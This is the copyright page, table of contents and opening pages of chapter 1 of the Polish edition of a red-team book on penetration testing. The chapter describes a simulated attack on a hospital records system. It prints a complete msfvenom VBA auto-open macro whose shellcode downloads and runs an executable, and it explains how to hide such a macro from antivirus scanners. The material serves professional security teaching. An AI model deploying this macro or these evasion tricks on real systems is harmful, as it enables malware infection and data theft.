Tytuł oryginału: Advanced Penetration Testing: Hacking the World's Most Secure Networks
Tłumaczenie: Łukasz Piwko
ISBN: 978-83-283-3895-1
Copyright © 2017 by John Wiley & Sons, Inc., Indianapolis, Indiana
All Rights Reserved. This translation published under license with the original publisher John Wiley & Sons, Inc.
Translation copyright © 2018 by Helion S.A.
No part of this publication may be reproduced, stored in a retrieval system, or transmitted in any form or by any means, electronic, mechanical, photocopying, recording, scanning, or otherwise without either the prior written permission of the Publisher.
Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji.
Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli.
Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce.
Wydawnictwo HELIONul. Kościuszki 1c, 44-100 GLIWICEtel. 32 231 22 19, 32 230 98 63e-mail: [email protected]: http://helion.pl (księgarnia internetowa, katalog książek)
Pliki z przykładami omawianymi w książce można znaleźć pod adresem: ftp://ftp.helion.pl/przyklady/tepeza.zip
Drogi Czytelniku!Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres http://helion.pl/user/opinie/tepezaMożesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.
Printed in Poland.
• Kup książkę• Poleć książkę • Oceń książkę
• Księgarnia internetowa• Lubię to! » Nasza społeczność
5
Spis treści
O autorze 11
O korektorze merytorycznym 13
Zespół wydania oryginalnego 15
Przedmowa 17
Wprowadzenie 21Wracanie do punktu wyjścia 21Advanced Persistent Threat (APT) 22Technologia nowej generacji 23Hakerzy 25Zapomnij wszystko, co wydawało Ci się, że wiesz o testowaniu penetracyjnym 25Jak podzielona jest książka 26
Rozdział 1. (Nie)bezpieczna dokumentacja medyczna 29Symulowanie ataków APT — wprowadzenie 30Kontekst i podstawowe informacje o misji 30Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 33
Jak NIE rozpoczynać ataku z użyciem VBA 34Analiza kodu VBA 38Unikaj shellcode’u 39Automatyczne wykonywanie kodu 40Użycie podwójnego stagera VBA/VBS 40Staraj się pisać jak najbardziej ogólny kod 41Zaciemnianie kodu 42Kuszenie użytkowników 43
Dowodzenie i kontrola, część I: podstawy 45
Poleć książkęKup książkę
6 Spis treści
Atak 49Omijanie uwierzytelniania 49
Podsumowanie 53Ćwiczenia 53
Rozdział 2. Kradzież wyników badań 55Kontekst i podstawowe informacje o misji 56Wysyłanie ładunku, część II: aplet Javy 57
Podpisywanie kodu Javy dla przyjemności i pożytku 58Aplet Javy jako pierwszy etap ataku 61Wymyślanie pretekstu 64Podpisywanie stagera 66
Uwagi na temat utrwalania ładunku u ofiary 66Microsoft Windows 66Linux 67macOS 70
Dowodzenie i kontrola, część II: zaawansowane techniki dowodzenia atakiem 71Zwiększanie dyskrecji i dodawanie możliwości
obsługi wielu systemów równocześnie 71Implementacja struktury dowodzenia 73Budowa interfejsu zarządzania 74
Atak 75Świadomość sytuacyjna 75Zdobywanie informacji za pomocą Active Directory 76Analiza danych z Active Directory 77Atak na słaby system pomocniczy 78Użycie zdobytych danych uwierzytelniających w atakowanym systemie 79
Podsumowanie 80Ćwiczenia 80
Rozdział 3. Skok XXI wieku 81Co mogłoby się udać 81Nic nie jest bezpieczne 82Polityka organizacyjna 82Modelowanie ataku APT a tradycyjny test penetracyjny 83Kontekst i podstawowe informacje o misji 84Dowodzenie i kontrola, część III: zaawansowane kanały i eksfiltracja danych 84
Uwagi na temat systemów wykrywania nieautoryzowanegodostępu i centrów bezpieczeństwa 88
Zespół SOC 89
Poleć książkęKup książkę
Spis treści 7
Jak działa zespół SOC 89Czas reakcji SOC i wprowadzanie zamętu 89Ukrywanie się przed systemami IDS 90Fałszywe alarmy 91
Wysyłanie ładunku, część III: fizyczne nośniki 92Nowy rodzaj inżynierii społecznej 92Profil docelowej lokalizacji 92Sporządzanie listy celów 93
Atak 95Podsumowanie 98Ćwiczenia 98
Rozdział 4. Farmakologiczna zawierucha 99Kontekst i opis misji 100Wysyłanie ładunku, część IV: exploity klienta 101
Klątwa Flasha 101Bez tego da się żyć 103Błędy uszkodzenia pamięci — co można, a czego nie można 103Kuszenie ofiary 105
Dowodzenie i kontrola, część IV: integracja Metasploita 108Podstawy integracji Metasploita 108Konfiguracja serwera 108Czarne kapelusze i białe kapelusze 109Co ja mówiłem o antywirusach 110Pivoting 111
Atak 111Porażka technologii Hard Disk Firewall 112Demonstracja możliwości Metasploita 112Za kulisami 113Korzyści z posiadania uprawnień administratora 114Typowe klonowanie podsieci 117Odzyskiwanie haseł 118Lista zakupów 120
Podsumowanie 122Ćwiczenia 122
Rozdział 5. Broń i amunicja 123Kontekst i opis misji 124Wysyłanie ładunku, część V: symulacja ataku przy użyciu ransomware’u 126
Czym jest ransomware 126Po co symulować atak typu ransomware 127Model symulacji ataku typu ransomware 127
Poleć książkęKup książkę
8 Spis treści
Kryptografia asymetryczna 128Zdalne generowanie klucza 129Branie plików na celownik 129Żądanie okupu 130Utrzymywanie serwera C2 131Uwagi końcowe 131
Dowodzenie i kontrola, część V: tworzenie niewidocznego rozwiązania C2 131Trasowanie cebulowe 131Plik torrc 132Konfiguracja agenta C2 do współpracy z siecią Tor 134Mostki 134
Nowe strategie kamuflażu i wdrażania 135Powrót do VBA — alternatywne wektory ataku przez wiersz poleceń 135PowerShell 135FTP 136Windows Scripting Host (WSH) 136BITSadmin 137Proste zaciemnianie kodu 137Inne sposoby ukrywania się przed antywirusami 140
Atak 143Projektant pistoletów udziela odpowiedzi na nasze pytania 144Identyfikowanie rywali 145Sprytniejszy sposób na podrzucanie dokumentów VBA 146E-mail i zapisane hasła 149Rejestratory klawiszy i ciasteczka 150Powtórzenie 151
Podsumowanie 152Ćwiczenia 153
Rozdział 6. Dochodzenie kryminalne 155Wysyłanie ładunku, część VI: technika HTA 156
Detekcja wirusów 158Zwiększanie uprawnień w systemach Microsoft Windows 158
Podnoszenie uprawnień za pomocą lokalnych exploitów 160Atakowanie za pomocą exploitów automatycznych instalacji systemu
operacyjnego 163Atak za pomocą exploitów Harmonogramu zadań 164Wykorzystywanie luk w usługach 166Porywanie plików DLL 167Skarby w rejestrze systemu Windows 170
Poleć książkęKup książkę
Spis treści 9
Dowodzenie i kontrola, część VI: skrzynka creepera 171Dane techniczne skrzynki creepera 172Podstawowe informacje o płytce Raspberry Pi 172GPIO 174Wybór systemu operacyjnego 174Konfiguracja szyfrowania całego dysku 175Uwaga na temat dyskrecji 179Konfiguracja infrastruktury dowodzenia i kontroli przy użyciu sieci 3G/4G 180Tworzenie transparentnego mostka 184Pi jako bezprzewodowy punkt dostępowy
dla zdalnych rejestratorów naciskanych klawiszy 185Atak 187
Fałszowanie numeru osoby dzwoniącej i SMS-a 187Podsumowanie 189Ćwiczenia 190
Rozdział 7. Gry wojenne 191Kontekst i opis misji 192Wysyłanie ładunku, część VII: atak z pistoletem USB 194
Nośniki USB 194Odrobina inżynierii społecznej 195
Dowodzenie i kontrola, część VII: zaawansowana autonomiczna eksfiltracja danych 196Co dla nas znaczy słowo „samodzielny” 196Sposoby wyprowadzania danych 196
Atak 201Przygotowywanie ładunku kodu do ataku na tajną sieć 203Dyskretna instalacja sterowników 3G/4G 203Atakowanie celu i instalowanie ładunku kodu 204Efektywna błyskawiczna eksfiltracja danych 205
Podsumowanie 206Ćwiczenia 206
Rozdział 8. Hakowanie dziennikarzy 207Odprawa 207Zaawansowane koncepcje inżynierii społecznej 208
Czytanie na zimno 208Dowodzenie i kontrola, część VIII: eksperymentalne koncepcje w C2 212
Przypadek nr 1: zarządzanie agentem przez serwer C2 213Przypadek nr 2: półautonomiczne zarządzanie agentami C2 215
Poleć książkęKup książkę
10 Spis treści
Wysyłanie ładunku, część VIII: zróżnicowana multimedialna treść internetowa 218Java Web Start 219Adobe AIR 219Kilka słów na temat HTML5 220
Atak 220Podsumowanie 224Ćwiczenia 224
Rozdział 9. Zagrożenie z północy 225Informacje ogólne 226Systemy operacyjne 226
Red Star Desktop 3.0 226Red Star Server 3.0 230
Północnokoreańska publiczna przestrzeń adresów IP 233Północnokoreańska telekomunikacja 235
Zatwierdzone urządzenia mobilne 240Ogród za płotem, czyli intranet Kwangmyong 241Podsłuchiwanie audio i wideo 242Podsumowanie 244Ćwiczenia 244
Skorowidz 245
Poleć książkęKup książkę
29
Rozdział
1(Nie)bezpieczna
dokumentacja medyczna
W pierwszym rozdziale pokażę Ci, jak za pomocą najprostszego typu ataku można zdobyć nawetnajlepiej strzeżone dane. Myślę, że to idealny temat na początek, zwłaszcza że bezpieczeństwo do-kumentacji medycznej od dawna spędza sen z powiek dyrektorom szpitali.
PRZYPADEK KANE’A
Groźba kradzieży albo zmiany dokumentacji medycznej krążyła nad służbą zdrowa na długoprzed tym, nim pewien Holender znany jako „Kane” w 2000 r. włamał się do centrummedycznego Uniwersytetu Waszyngtońskiego. Kiedy doszło do ataku, podjęto pewnekroki, które utwierdziły władze szpitala w przekonaniu, że zagrożenie zostało zażegnane.Jakież było ich zdziwienie, kiedy pół roku później Kane przekazał zdobyte informacjedziennikarzowi z czasopisma „Security Focus” Kevinowi Poulsenowi, a ten opisał przebiegataku i jego skutki w artykule. Zdarzenie szybko zyskało globalny rozgłos. Kane zdołałutrzymać obecność w sieciach centrum medycznego, pozwalając myśleć swojej ofierze, żezostał z nich skutecznie usunięty. W tym celu dopuścił się drobnego oszustwa polegające-go na wstawieniu na kilka serwerów łatwego do wykrycia trojana BO2K (narzędzia opra-cowanego przez grupę o nazwie Cult of the Dead Cow, która była popularna na przełomiewieków), podczas gdy jego infrastruktura dowodzenia i kontroli była nieco bardziej dys-kretna. Wiele informacji na temat tego zdarzenia można znaleźć w internecie. Zachęcam dozapoznania się z tym przypadkiem, ponieważ stanowi on doskonały przykład pierwszych
Poleć książkęKup książkę
30 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
nowoczesnych ataków APT oraz wręcz podręcznikowy przykład tego, jak nie postępowaćw przypadku wykrycia intruza — zarówno pod względem postępowania wewnętrznego,jak i ujawniania informacji publicznie.
Wspomniany artykuł można przeczytać na stronie http://www.securityfocus.com/news/122.
Symulowanie ataków APT — wprowadzenieModelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon-centruje się na atakowaniu użytkowników końcowych w celu uzyskania wstępnego dostępu do siecizamiast atakowania zewnętrznych systemów, jak aplikacje sieciowe czy widoczne w internecie elementyinfrastruktury sieciowej. W ramach ćwiczeń taki test zwykle wykonuje się na dwa sposoby — pre-wencyjnie, tzn. jako część testu penetracyjnego, oraz „post mortem”, czyli jako uzupełnienie procesówanalizy po ataku w celu dowiedzenia się, jak doszło do włamania. Zdecydowanie częściej spotyka siępierwszy z tych przypadków. Wyróżnia się krótkoterminowe symulacje ataków APT, które mogątrwać do dwóch tygodni, i długoterminowe, które mogą trwać znacznie dłużej, a opłata jest pobie-rana za jedną godzinę dziennie przez kilka miesięcy. Opinie co do tego, które z podejść jest sku-teczniejsze, są podzielone (i oczywiście wiele zależy od celu ataku). Z jednej strony dłuższy test po-zwala lepiej naśladować prawdziwy atak, z drugiej strony jednak klienci zwykle żądają regularnegowprowadzania poprawek podczas wykonywania testu, a takie ciągłe rzucanie kłód pod nogi prze-czy idei wykonywania testu. W książce opisuję różne podejścia do tej kwestii.
Kontekst i podstawowe informacje o misjiLondyński szpital padł ofiarą włamania nieznanych sprawców. Tyle tylko wiedziałem, kiedy przy-byłem do murowanego z czerwonej cegły kampusu w celu omówienia przypadku i przekazania zaleceńco do dalszego postępowania. Po wymianie tradycyjnych uprzejmości i wypiciu typowego w czasietakich spotkań kubka kawy z automatu przeszliśmy do sedna. Nasza gospodyni tajemniczo stwier-dziła, że „w rejestrze leków wydawanych na receptę znaleziono nieprawidłowości”. Nie bardzowiedziałem, co o tym myśleć, więc powiedziałem: „Może to robota siostry Jackie?”. W zamian zosta-łem obdarzony spojrzeniem w stylu „To nie jest zabawne, a ja nie oglądam głupich seriali”. Mówiładalej: „Odkryliśmy w naszej bazie danych fałszywe pliki dokumentacji medycznej, na podstawiektórych ktoś pobierał leki kontrolowane”.
No tak. To rzeczywiście jest nieprawidłowość.Potem dokładniej omówiliśmy atak i budowę systemu przechowywania dokumentacji medycznej
— jego zalety i wady. Wówczas stało się jasne, że ataki miały miejsce po przenoszeniu danych dochmury. Szpital korzystał z gotowego rozwiązania firmy o nazwie Pharmattix. Wdrażało je wieleszpitali w całym kraju, ponieważ miało ułatwiać świadczenie usług opieki zdrowotnej w opłacalnymmodelu subskrypcyjnym.
Poleć książkęKup książkę
Kontekst i podstawowe informacje o misji 31
Rysunek 1.1. Schemat sieci Pharmattix
System rozróżniał cztery rodzaje użytkowników (rysunek 1.2): lekarzy wypisujących recepty na leki, apteki wydające leki, pacjentów, zaplecze administracyjne zajmujące się różnymi kwestiami.
Zawsze dobrze jest porozmawiać z samym producentem oprogramowania, który najlepiej wie,jakie funkcje ma interesujący nas program.
Moim zadaniem jako pentestera będzie włamanie się do systemu przechowywania dokumentacjimedycznej szpitala przez przeprowadzenie ataku skierowanego przeciw jednemu z pracowników.Dobrym wyborem wydają się lekarze, ponieważ ich rola w systemie pozwala im na dodawanie pa-cjentów i przepisywanie leków, czyli dokładnie to, czego nam potrzeba. Z przytoczonej ulotki wiemy,że system integruje się z pakietem MS Office, a zważywszy na otwarty charakter środowiska, którezamierzamy zaatakować, można stwierdzić, że to doskonały punkt zaczepienia.
Poleć książkęKup książkę
32 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
Rysunek 1.2. Role użytkowników
MATERIAŁY MARKETINGOWE FIRMY PHARMATTIX
Zoptymalizujemy dostępność i efektywność Twojej praktyki.
Stworzymy dla Ciebie profesjonalną stronę internetową z informacjami medycznymi i róż-nymi formularzami, za pomocą których pacjenci będą mogli korzystać z dodatkowychusług bez ponoszenia wysokich opłat. Zapewnimy kompletny system przechowywaniadokumentacji medycznej o takiej samej funkcjonalności, jaką ma ten, którego obecnieużywasz, oraz możemy do niego importować Twoje dokumenty wiele razy w ciągu dnia ro-boczego.
Dzięki naszemu kompleksowemu rozwiązaniu każdy lekarz bez problemu sam poradzi sobiez obsługą swojej strony internetowej. Za pośrednictwem swojej strony w rozwiązaniu Phar-mattix Doctor Online możesz przekazywać informacje dla pacjentów oraz świadczyć dodat-kowe usługi, jednocześnie oszczędzając czas.
Prowadzenie praktyki i obsługa pacjentów może być łatwa dzięki e-konsultacjom i bezpro-blemowej integracji naszego rozwiązania z systemem obsługi szpitala!
Funkcje strony internetowej:
Własny panel sterowania • Indywidualne strony zespołów, umawianie wizyt itd. •Godziny przyjęć • Ulotki i listy NHG dla pacjentów • Integracja z pakietem MS Office •Informacja medyczna • Informacje dla pasażerów i na temat szczepionek • Różneformularze (rejestracji, ponawiania recept, zadawania pytań) • E-konsultacje •Kalendarz internetowy • Odnośnik do strony systemu informacji dla lekarzy ogólnych •Darmowa pomoc techniczna.
Poleć książkęKup książkę
Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 33
E-konsultacje i integracja z systemem obsługi szpitala: chcesz bezpiecznie kontaktowaćsię ze swoimi pacjentami? Nasz system e-konsultacji Ci to umożliwi. Zwiększyszdostępność swoich usług, nie tracąc nad niczym kontroli. Ponadto możesz połączyćsystem zarządzania szpitalem ze stroną swojej praktyki, aby umożliwić pacjentomumawianie się na wizyty przez internet i wysyłanie próśb o ponowienie recept.A to wszystko bez potrzeby angażowania asystenta!
Jeśli chcesz dowiedzieć się więcej, skontaktuj się z nami!
KIEDY BRUCE SCHNEIER COŚ MÓWI, TO LEPIEJ GO SŁUCHAĆ
„Uwierzytelnianie dwuetapowe to nie panaceum. Nie chroni na przykład przed phishin-giem, kradzieżą tożsamości ani nie zabezpiecza internetowych kont przed fałszywymitransakcjami. Rozwiązuje problemy dotyczące bezpieczeństwa sprzed dziesięciu lat, niedzisiejsze”.
Bruce Schneier
Wszystkie typy użytkowników podlegały uwierzytelnianiu dwuetapowemu, czyli oprócz nazwyużytkownika lub hasła pracownik szpitala musiał jeszcze mieć kartę dostępu. Ponadto podczas lo-gowania pacjenci otrzymywali jednorazowe hasła w wiadomościach SMS lub e-mail.
W każdym rozdziale opisuję nowe sposoby przesyłania szkodliwego kodu do atakowanego syste-mu oraz wskazuję potencjalne możliwości rozbudowy systemu dowodzenia i kontroli. Pierwszaz technik wysyłania szkodliwego ładunku, którą pragnę się z Tobą podzielić, jest zarazem jedną z naj-starszych i najskuteczniejszych.
Wysyłanie ładunku, część I:jak posługiwać się makrami VBAVBA (Visual Basic for Applications) to podzbiór należącego do Microsoftu języka programowaniao nazwie Visual Basic. Jest przeznaczony do wykonywania tylko w programach Microsoft Wordi Excel i służy do automatyzacji powtarzalnych czynności oraz tworzenia niestandardowych poleceńi przycisków na pasku narzędzi. Choć język ten jest bardzo prosty, za jego pomocą można importowaćliczne biblioteki zewnętrzne, w tym cały interfejs API Windows. Z tego względu można go używaćdo znacznie poważniejszych celów niż tylko obsługa arkuszy kalkulacyjnych czy zarządzanie listamimailingowymi.
Makra VBA mają bogatą tradycję, jeśli chodzi o przesyłanie szkodliwego oprogramowania, aleto nie znaczy, że dziś technika ta jest choćby odrobinę mniej skuteczna, niż była kiedyś. Wręcz prze-ciwnie, w najnowszych wersjach pakietu Microsoft Office (od wersji 2010) aplikacje domyślnie w ża-den sposób nie rozróżniają kodu podpisanego i niepodpisanego. Są ku temu dwa powody. Po pierwszepodpisywanie kodu jest tak samo skuteczne w ochronie przed szkodliwymi programami jak rytualne
Poleć książkęKup książkę
34 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
tańce w sprowadzaniu deszczu. A po drugie firmie Microsoft znudziło się ciągłe przestrzeganie lu-dzi przed używaniem swoich marnie zabezpieczonych technologii skryptowych.
Teraz pokażę Ci przykładowy program pośredni, który będzie uruchamiał szkodliwy kod w chwili,gdy obrany na cel użytkownik otworzy spreparowany dokument Worda lub Excela. Jest wiele możli-wości, ale zacznę od pokazania przykładowego kodu wygenerowanego przez narzędzie msfvenomz systemu Metasploit, ponieważ stanowi on doskonały przykład, jak nie należy tego robić.
Jak NIE rozpoczynać ataku z użyciem VBANarzędzie msfvenom służy do tworzenia zakodowanych ładunków lub shellcode’ów działających naszerokim spektrum platform — zwykle są to własne agenty Metasploita, choć istnieje możliwośćwspółpracy z obcym kodem, na przykład istniejącymi już plikami wykonawczymi trojanów itp. Dohandlerów Metasploita jeszcze wrócę i omówię ich zalety i wady, ale na razie nie będę wdawał sięw szczegóły. Za pomocą modułu msfvenom można przygotować ładunek w postaci dziesiętnie zakodo-wanego shellcode’u w skrypcie VBA, który można wprowadzić bezpośrednio do dokumentu MicrosoftOffice (listing 1.1). Poniższe polecenie tworzy skrypt VBA, który pobiera spod określonego adresuURL wykonywalny plik Windows i go wykonuje.
Listing 1.1. Makro VBA wygenerowane przez narzędzie
root@wil:~# msfvenom -p windows/download_exec -f vba -e shikata-ga-nai -i 5 -a x86 --platformWindows EXE=c:\temp\payload.exe URL=http://www.wherever.comPayload size: 429 bytes
#If Vba7 ThenPrivate Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv AsLong, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) AsLongPtrPrivate Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByValZeruom As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPtrPrivate Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As LongPtr, ByRefUnd As Any, ByVal Issacgbu As Long) As LongPtr#ElsePrivate Declare Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv As Long,ByVal Kyfde As Long, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As LongPrivate Declare Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByVal Zeruom AsLong, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPrivate Declare Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As Long, ByRef Und As Any,ByVal Issacgbu As Long) As Long#EndIf
Sub Auto_Open()Dim Hdhskh As Long, Wizksxyu As Variant, Rxnffhltx As Long#If Vba7 ThenDim Qgsztm As LongPtr, Svfb As LongPtr#ElseDim Qgsztm As Long, Svfb As Long#EndIf
Poleć książkęKup książkę
Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 35
Wizksxyu = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38, _7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91, _49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235, _79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46, _59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106,31, _86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123, _255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0, _232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106, _2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141, _76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116, _45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174, _91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104, _49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255, 255, _99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119,46, _98,111,98,46,99,111,109,0)
Qgsztm = VirtualAlloc(0, UBound(Wizksxyu), &H1000, &H40)For Rxnffhltx = LBound(Wizksxyu) To UBound(Wizksxyu)Hdhskh = Wizksxyu(Rxnffhltx)Svfb = RtlMoveMemory(Qgsztm + Rxnffhltx, Hdhskh, 1)Next RxnffhltxSvfb = CreateThread(0, 0, Qgsztm, 0, 0, 0)End Sub
Sub AutoOpen()Auto_OpenEnd Sub
Sub Workbook_Open()Auto_OpenEnd Sub
Kod został dokładnie zaciemniony przez narzędzie (nazwy funkcji i zmiennych zostały losowowygenerowane), a sam shellcode dodatkowo jest zakodowany przez kilka iteracji algorytmu shikata--ga-nai. Niemniej jednak kontakt tego kodu z jakimkolwiek systemem wykrywania szkodliwychprogramów lub programem antywirusowym spowoduje włączenie się wszystkich możliwych alarmów.W ramach demonstracji zaimportujemy ten kod do dokumentu Worda, aby pokazać, jak łatwo zo-stanie wykryty (rysunek 1.3).
Zapisz ten plik w formacie DOC z makrami, jak pokazano na rysunku 1.4.Jeśli wyślemy ten dokument do zbiorowego serwisu skanowania wirusów www.virustotal.com,
to będziemy mogli dowiedzieć się, jak zostanie potraktowany w 54 różnych bazach danych szko-dliwego oprogramowania — rysunek 1.5.
Poleć książkęKup książkę
36 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
Rysunek 1.3. Exploit VBA zaimportowany do programu MS Word
Rysunek 1.4. Zapisywanie pliku z wirusem
Poleć książkęKup książkę
Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 37
Rysunek 1.5. Niedopuszczalnie wysoka wykrywalność przez programy antywirusowe
Z 54 programów anywirusowych aż 48 wykryło nasz kod? Niedobrze.Ponadto serwis VirusTotal przedstawia pewne dodatkowe informacje pozwalające zorientować
się, w jaki sposób osiągnięto taki, a nie inny wynik — rysunek 1.6.W sekcji Tags (znaczniki) wskazane są największe zagrożenia: auto-open (automatyczne otwie-
ranie) i code injection (wstrzykiwanie kodu). Teraz przeanalizujemy ten nasz kod VBA po kawałkui poszukamy sposobów na zmniejszenie jego wykrywalności. Jeśli z góry wiadomo, jaki programantywirusowy działa w docelowym systemie, to bardzo dobrze, ale i tak zawsze należy starać sięosiągnąć zerową wykrywalność.
Poleć książkęKup książkę
38 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
Rysunek 1.6. Dodatkowe informacje
Analiza kodu VBAW sekcji deklaracji funkcji zaimportowane zostały trzy funkcje z pliku kernel32.dll. Za ich pomocątworzony jest wątek procesu, alokowana jest pamięć dla shellcode’u i wstawiany jest do niej shellcode.Logicznie myśląc, nie ma żadnego powodu, aby w makrze działającym w procesorze tekstu albo ar-kuszu kalkulacyjnym wykonywać takie czynności. Dlatego też sama obecność tych funkcji (które sąpotrzebne do zainstalowania shellcode’u) jest już wystarczająca, aby systemy wykrywania szkodliwychprogramów podniosły raban.
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv AsLong, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As LongPtrPrivate Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByValZeruom As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPtrPrivate Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As LongPtr, ByRefUnd As Any, ByVal Issacgbu As Long) As LongPtr
Jednak wiele skanerów antywirusowych nie sprawdza sekcji deklaracji, a jedynie główną treśćźródłową, w związku z czym zaimportowaną funkcję można ukryć za aliasem, na przykład:
Private Declare PtrSafe Function CreateThread Lib "kernel32" Alias "CTAlias" (ByVal Zdz AsLong, ByVal Tfnsv As Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long,Coupxdxe As Long) As LongPtr
Potem w głównej części kodu źródłowego można już posługiwać się tylko aliasem. W ten sposóbmożna wywieść w pole wiele antywirusów, w tym Microsoft Endpoint Protection.
Poleć książkęKup książkę
Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 39
Unikaj shellcode’uShellcode ułatwia przeprowadzenie ataku, ale jest bardzo łatwy do wykrycia.
Wizksxyu = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _ 139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _ 13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _ 116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _ 214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _ 36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _ 139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _ 235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38, _ 7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91, _ 49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235, _ 79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46, _ 59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106,31, _ 86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123, _ 255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0, _ 232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106, _ 2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141, _ 76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116, _ 45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174, _ 91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104, _ 49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255,255, _ 99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119,46, _ 98,111,98,46,99,111,109,0)
Można zastosować wiele iteracji kodowania, aby uniemożliwić wykrycie ładunku przez antywi-rusy — i to ma szansę powodzenia. Problem jednak w tym, że nadal od razu widać, że to shellcode.Tablica bajtów (mimo że zakodowana w formacie dziesiętnym, a nie bardziej typowym szesnastko-wym) jest podejrzana dla każdego programu antywirusowego i prawie na pewno spowoduje wszczęciealarmu. Ponadto nowoczesne antywirusy potrafią przekazywać skompilowany kod (w tym takżeshellcode) do wirtualnych mikromaszyn w celu poddania go testom heurystycznym. Wówczas sposóbkodowania nie ma znaczenia, ponieważ antywirus po prostu sprawdzi, co dany kod robi. Dla na-rzędzia msfvenom przygotowywanie ataków w ten sposób ma sens, ponieważ umożliwia zastosowa-nie wielu ładunków w jednym skrypcie VBA, ale do poważnych zastosowań w atakach APT takiecoś kompletnie się nie nadaje. Ewentualnie tablicę tę można zakodować na kilka sposobów (na przy-kład w postaci łańcucha Base64), po czym odtworzyć ją w 